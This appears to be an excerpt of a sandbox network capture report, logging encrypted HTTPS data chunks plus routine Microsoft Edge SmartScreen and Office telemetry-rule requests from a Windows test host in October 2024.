2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-10-30 17:06:43 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49842	4.152.133.8	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVVo3cUFOQ3R6cU1qUDJEYTVWdUYvQT09IiwgImhhc2giOiJDbW9LK3lTdURUVT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-30 17:06:42 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-30 17:06:43 UTC	248	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-10-30 17:06:43 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49840	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-17fbfdc98bbp77nqf5g2c5aavs000000081g000000001f1h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49841	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-r1755647c66ldhdjeavapf4fd000000008dg0000000027g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49845	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-r1755647c66qg7mpa8m0fzcvy000000009h0000000002wnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49844	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:43 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 962e216e-b01e-0070-5bcb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-17fbfdc98bbwmxz5amc6q625w0000000047g000000008pb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49843	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:43 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: ecde688c-a01e-0002-2807-275074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170643Z-17fbfdc98bb6kklk3r0qwaavtw0000000670000000008cy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
